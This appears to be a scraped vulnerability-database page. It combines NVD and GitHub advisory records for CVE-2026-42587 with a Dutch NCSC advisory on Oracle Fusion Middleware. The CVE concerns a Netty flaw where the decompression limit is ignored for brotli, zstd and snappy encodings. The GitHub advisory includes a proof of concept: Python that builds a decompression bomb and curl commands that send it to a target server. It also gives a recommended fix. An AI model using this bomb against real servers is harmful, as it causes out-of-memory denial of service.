"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_streams:2"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "streams for Apache Kafka 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_streams:3"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "streams for Apache Kafka 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_streams:3"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "streams for Apache Kafka 3",
"vendor": "Red Hat"
}
],
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*",
"matchCriteriaId": "DFE205A5-2C43-40C9-A2FF-CF6759B8D861",
"versionEndExcluding": "4.1.133",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*",
"matchCriteriaId": "D94A720F-9CED-4BE9-8C37-FD9E2FD28472",
"versionEndExcluding": "4.2.13",
"versionStartIncluding": "4.2.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final."
}
],
"id": "CVE-2026-42587",
"lastModified": "2026-08-13T13:18:57.117",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-42587",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "yes"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-13T18:43:31.138358Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-05-13T19:17:24.460",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Mitigation",
"Vendor Advisory"
],
"url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:23808"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:24502"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:25123"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:28010"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:34608"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:36820"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:37390"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:41951"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:42644"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:50085"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:53644"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:53806"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/errata/RHSA-2026:54435"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://access.redhat.com/security/cve/CVE-2026-42587"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477220"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Mitigation",
"Vendor Advisory"
],
"url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
},
{
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42587.json"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-400"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"description": [
{
"lang": "en",
"value": "CWE-770"
}
],
"source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"type": "Secondary"
}
]
}
GHSA-F6HV-JMP6-3VWV
Vulnerability from github – Published: 2026-05-07 00:46 – Updated: 2026-05-14 20:41
VLAI
Summary
Netty: HttpContentDecompressor maxAllocation bypass when Content-Encoding set to br/zstd/snappy leads to decompression bomb DoS
Details
Summary
HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service.
The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections.
Details
HttpContentDecompressor stores the maxAllocation value at construction time (HttpContentDecompressor.java:89) and uses it in newContentDecoder() to create the appropriate decompression handler.
For gzip/deflate, maxAllocation is forwarded to ZlibCodecFactory.newZlibDecoder():
// HttpContentDecompressor.java:101 — maxAllocation IS enforced
.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))
ZlibDecoder.prepareDecompressBuffer() enforces this as a hard cap by setting the buffer's maxCapacity and throwing DecompressionException when the limit is reached:
// ZlibDecoder.java:68 — hard limit on buffer capacity
return ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);
// ZlibDecoder.java:80 — throws when exceeded
throw new DecompressionException("Decompression buffer has reached maximum size: " + buffer.maxCapacity());
For brotli, zstd, and snappy, the decoders are created without any size limit:
// HttpContentDecompressor.java:120 — maxAllocation IGNORED
.handlers(new BrotliDecoder())
// HttpContentDecompressor.java:129 — maxAllocation IGNORED
.handlers(new SnappyFrameDecoder())
// HttpContentDecompressor.java:138 — maxAllocation IGNORED
.handlers(new ZstdDecoder())
BrotliDecoder has no maxAllocation parameter at all — there is no way to constrain its output. It streams decompressed data in chunks via fireChannelRead with no total limit.
ZstdDecoder() defaults to a 4MB maximumAllocationSize, but this only constrains individual buffer allocations, not total output. The decode loop (ZstdDecoder.java:100-114) creates new buffers and fires channelRead repeatedly, so total decompressed output is unbounded.
The identical pattern exists in DelegatingDecompressorFrameListener.newContentDecompressor() at lines 188-210 for HTTP/2.
PoC
- Configure a Netty HTTP server with decompression bomb protection:
pipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max
pipeline.addLast(new HttpObjectAggregator(1048576)); // 1MB max
- Generate a brotli-compressed bomb (~1KB compressed → 1GB decompressed):
import brotli
bomb = b'\x00' * (1024 * 1024 * 1024) # 1GB of zeros
compressed = brotli.compress(bomb, quality=11)
with open('bomb.br', 'wb') as f:
f.write(compressed)
# compressed size: ~1KB
- Send the bomb with gzip encoding (BLOCKED by maxAllocation):
# This is caught — ZlibDecoder enforces the 1MB limit
curl -X POST http://target:8080/api \
-H 'Content-Encoding: gzip' \
--data-binary @bomb.gz
# Result: DecompressionException thrown at 1MB
- Send the same bomb with brotli encoding (BYPASSES maxAllocation):
# This bypasses the limit — BrotliDecoder has no maxAllocation
curl -X POST http://target:8080/api \
-H 'Content-Encoding: br' \
--data-binary @bomb.br
# Result: Full 1GB decompressed into memory → OOM
- The same bypass works with
Content-Encoding: zstdandContent-Encoding: snappy.
Impact
- Denial of Service: An attacker can cause out-of-memory conditions on any Netty server that relies on
maxAllocationfor decompression bomb protection, by simply using a non-gzip content encoding. - False sense of security: Developers who explicitly configure
maxAllocationto protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered. - Trivial bypass: The attacker only needs to change one HTTP header (
Content-Encoding: brinstead ofContent-Encoding: gzip) to circumvent the protection entirely. - Both HTTP/1.1 and HTTP/2: The vulnerability exists in both
HttpContentDecompressor(HTTP/1.1) andDelegatingDecompressorFrameListener(HTTP/2).
Recommended Fix
Pass maxAllocation to all decoder constructors. For BrotliDecoder, which currently has no maxAllocation support, add the parameter:
HttpContentDecompressor.java — pass maxAllocation to all decoders:
// Line 120: BrotliDecoder — add maxAllocation support
.handlers(new BrotliDecoder(maxAllocation))
// Line 129: SnappyFrameDecoder — add maxAllocation support
.handlers(new SnappyFrameDecoder(maxAllocation))
// Line 138: ZstdDecoder — forward the configured maxAllocation
.handlers(new ZstdDecoder(maxAllocation))
DelegatingDecompressorFrameListener.java — same fix at lines 188-210.
BrotliDecoder — add maxAllocation parameter with the same semantics as ZlibDecoder.prepareDecompressBuffer(): set buffer maxCapacity and throw DecompressionException when the total decompressed output exceeds the limit.
SnappyFrameDecoder — add maxAllocation parameter with equivalent enforcement.
ZstdDecoder — ensure that when maxAllocation is set, total output across all buffers is bounded (not just per-buffer allocation size).
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42587"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:46:35Z",
"nvd_published_at": "2026-05-13T19:17:24Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`HttpContentDecompressor` accepts a `maxAllocation` parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via `ZlibDecoder`, but is silently ignored when the content encoding is `br` (Brotli), `zstd`, or `snappy`. An attacker can bypass the configured decompression limit by sending a compressed payload with `Content-Encoding: br` instead of `Content-Encoding: gzip`, causing unbounded memory allocation and out-of-memory denial of service.\n\nThe same vulnerability exists in `DelegatingDecompressorFrameListener` for HTTP/2 connections.\n\n## Details\n\n`HttpContentDecompressor` stores the `maxAllocation` value at construction time (`HttpContentDecompressor.java:89`) and uses it in `newContentDecoder()` to create the appropriate decompression handler.\n\nFor gzip/deflate, `maxAllocation` is forwarded to `ZlibCodecFactory.newZlibDecoder()`:\n\n```java\n// HttpContentDecompressor.java:101 \u2014 maxAllocation IS enforced\n.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))\n```\n\n`ZlibDecoder.prepareDecompressBuffer()` enforces this as a hard cap by setting the buffer\u0027s `maxCapacity` and throwing `DecompressionException` when the limit is reached:\n\n```java\n// ZlibDecoder.java:68 \u2014 hard limit on buffer capacity\nreturn ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);\n// ZlibDecoder.java:80 \u2014 throws when exceeded\nthrow new DecompressionException(\"Decompression buffer has reached maximum size: \" + buffer.maxCapacity());\n```\n\nFor brotli, zstd, and snappy, the decoders are created without any size limit:\n\n```java\n// HttpContentDecompressor.java:120 \u2014 maxAllocation IGNORED\n.handlers(new BrotliDecoder())\n\n// HttpContentDecompressor.java:129 \u2014 maxAllocation IGNORED\n.handlers(new SnappyFrameDecoder())\n\n// HttpContentDecompressor.java:138 \u2014 maxAllocation IGNORED\n.handlers(new ZstdDecoder())\n```\n\n`BrotliDecoder` has no `maxAllocation` parameter at all \u2014 there is no way to constrain its output. It streams decompressed data in chunks via `fireChannelRead` with no total limit.\n\n`ZstdDecoder()` defaults to a 4MB `maximumAllocationSize`, but this only constrains individual buffer allocations, not total output. The decode loop (`ZstdDecoder.java:100-114`) creates new buffers and fires `channelRead` repeatedly, so total decompressed output is unbounded.\n\nThe identical pattern exists in `DelegatingDecompressorFrameListener.newContentDecompressor()` at lines 188-210 for HTTP/2.\n\n## PoC\n\n1. Configure a Netty HTTP server with decompression bomb protection:\n\n```java\npipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max\npipeline.addLast(new HttpObjectAggregator(1048576)); // 1MB max\n```\n\n2. Generate a brotli-compressed bomb (~1KB compressed \u2192 1GB decompressed):\n\n```python\nimport brotli\nbomb = b\u0027\\x00\u0027 * (1024 * 1024 * 1024) # 1GB of zeros\ncompressed = brotli.compress(bomb, quality=11)\nwith open(\u0027bomb.br\u0027, \u0027wb\u0027) as f:\n f.write(compressed)\n# compressed size: ~1KB\n```\n\n3. Send the bomb with gzip encoding (BLOCKED by maxAllocation):\n\n```bash\n# This is caught \u2014 ZlibDecoder enforces the 1MB limit\ncurl -X POST http://target:8080/api \\\n -H \u0027Content-Encoding: gzip\u0027 \\\n --data-binary @bomb.gz\n# Result: DecompressionException thrown at 1MB\n```\n\n4. Send the same bomb with brotli encoding (BYPASSES maxAllocation):\n\n```bash\n# This bypasses the limit \u2014 BrotliDecoder has no maxAllocation\ncurl -X POST http://target:8080/api \\\n -H \u0027Content-Encoding: br\u0027 \\\n --data-binary @bomb.br\n# Result: Full 1GB decompressed into memory \u2192 OOM\n```\n\n5. The same bypass works with `Content-Encoding: zstd` and `Content-Encoding: snappy`.\n\n## Impact\n\n- **Denial of Service**: An attacker can cause out-of-memory conditions on any Netty server that relies on `maxAllocation` for decompression bomb protection, by simply using a non-gzip content encoding.\n- **False sense of security**: Developers who explicitly configure `maxAllocation` to protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered.\n- **Trivial bypass**: The attacker only needs to change one HTTP header (`Content-Encoding: br` instead of `Content-Encoding: gzip`) to circumvent the protection entirely.\n- **Both HTTP/1.1 and HTTP/2**: The vulnerability exists in both `HttpContentDecompressor` (HTTP/1.1) and `DelegatingDecompressorFrameListener` (HTTP/2).\n\n## Recommended Fix\n\nPass `maxAllocation` to all decoder constructors. For `BrotliDecoder`, which currently has no `maxAllocation` support, add the parameter:\n\n**HttpContentDecompressor.java** \u2014 pass maxAllocation to all decoders:\n\n```java\n// Line 120: BrotliDecoder \u2014 add maxAllocation support\n.handlers(new BrotliDecoder(maxAllocation))\n\n// Line 129: SnappyFrameDecoder \u2014 add maxAllocation support\n.handlers(new SnappyFrameDecoder(maxAllocation))\n\n// Line 138: ZstdDecoder \u2014 forward the configured maxAllocation\n.handlers(new ZstdDecoder(maxAllocation))\n```\n\n**DelegatingDecompressorFrameListener.java** \u2014 same fix at lines 188-210.\n\n**BrotliDecoder** \u2014 add `maxAllocation` parameter with the same semantics as `ZlibDecoder.prepareDecompressBuffer()`: set buffer maxCapacity and throw `DecompressionException` when the total decompressed output exceeds the limit.\n\n**SnappyFrameDecoder** \u2014 add `maxAllocation` parameter with equivalent enforcement.\n\n**ZstdDecoder** \u2014 ensure that when `maxAllocation` is set, total output across all buffers is bounded (not just per-buffer allocation size).",
"id": "GHSA-f6hv-jmp6-3vwv",
"modified": "2026-05-14T20:41:29Z",
"published": "2026-05-07T00:46:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42587"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty: HttpContentDecompressor maxAllocation bypass when Content-Encoding set to br/zstd/snappy leads to decompression bomb DoS"
}
NCSC-2026-0306
Vulnerability from csaf_ncscnl - Published: 2026-08-19 09:38 - Updated: 2026-08-19 09:38Summary
Kwetsbaarheden verholpen in Oracle Fusion Middleware
Notes
The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this page to enhance access to its information and security advisories. The use of this security advisory is subject to the following terms and conditions:
NCSC-NL makes every reasonable effort to ensure that the content of this page is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or continuous keeping up-to-date. The information contained in this security advisory is intended solely for the purpose of providing general information to professional users. No rights can be derived from the information provided therein.
NCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of this security advisory. This includes damage resulting from the inaccuracy of incompleteness of the information contained in the advisory.
This security advisory is subject to Dutch law. All disputes related to or arising from the use of this advisory will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings.
Feiten: Oracle heeft 262 kwetsbaarheden verholpen in diverse Oracle producten, waaronder Oracle WebLogic Server, Oracle Identity Manager, Oracle WebCenter Portal, Oracle WebCenter Content, Oracle WebCenter Sites, Oracle WebCenter Enterprise Capture, Oracle Reports Developer, Oracle Fusion Middleware Helidon, Oracle Access Manager, Oracle Unified Directory, Oracle Virtual Directory, Oracle Internet Directory, Oracle Web Services Manager, Oracle SOA Suite B2B Engine, Oracle Managed File Transfer, en Oracle Identity Manager Connector.
Interpretaties: De kwetsbaarheden betreffen verschillende beveiligingsproblemen in Oracle producten, waaronder mogelijkheden voor ongeauthenticeerde en laaggeprivilegieerde aanvallers om via netwerktoegang (HTTP, HTTPS, HTTP/2, LDAP, T3, IIOP, RMI, CORBA, SOAP, SMTP, UDP) ongeautoriseerde acties uit te voeren. Deze acties omvatten het verkrijgen van volledige systeemcontrole, het uitvoeren van arbitrary code, het creëren, wijzigen of verwijderen van kritieke data, het omzeilen van authenticatiecontroles, het verkrijgen van ongeautoriseerde toegang tot gevoelige informatie, en het veroorzaken van Denial-of-Service (DoS) door crashes of resource-uitputting. Sommige kwetsbaarheden vereisen gebruikersinteractie, terwijl andere volledig op afstand en zonder authenticatie kunnen worden misbruikt.
De CVSS 3.1 basis scores variëren van matig tot maximaal (tot 10.0), waarbij meerdere kwetsbaarheden een score van 9.8 of hoger hebben, wat duidt op een hoog potentieel voor impact op vertrouwelijkheid, integriteit en beschikbaarheid van de systemen. 182 van deze kwetsbaarheden kunnen zonder voorafgaande authenticatie op afstand worden misbruikt. De kwetsbaarheden zijn specifiek voor bepaalde versies van de genoemde Oracle producten maar kunnen ook invloed hebben op andere Oracle producten die afhankelijk zijn van deze componenten.
Het NCSC adviseert om deze kwetsbaarheden met voorrang te verhelpen.
Oplossingen: Oracle heeft updates uitgebracht om de kwetsbaarheden in de genoemde producten te verhelpen. Zie bijgevoegde referenties voor meer informatie.
Kans: high
Schade: high
CWE-285: Improper Authorization
CWE-400: Uncontrolled Resource Consumption
CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization
CWE-770: Allocation of Resources Without Limits or Throttling
An authorization bypass vulnerability (CVE-2026-33186) in gRPC-Go prior to version 1.79.3, caused by improper validation of the HTTP/2 :path pseudo-header missing a leading slash, affects multiple products and leads to unauthorized access risks.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
Netty versions prior to 4.2.13.Final and 4.1.133.Final contain vulnerabilities in HttpContentDecompressor that allow attackers to bypass maxAllocation limits for Brotli, Zstd, and Snappy encodings, leading to out-of-memory Denial of Service.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Outside In Technology 8.5.8 allows an unauthenticated attacker with infrastructure access and user interaction to potentially compromise confidentiality, integrity, and availability, with a CVSS 3.1 score of 7.8.
7.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Outside In Technology 8.5.8 allows an unauthenticated attacker with infrastructure access and user interaction to potentially compromise confidentiality, integrity, and availability, with a CVSS 3.1 score of 7.8.
7.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
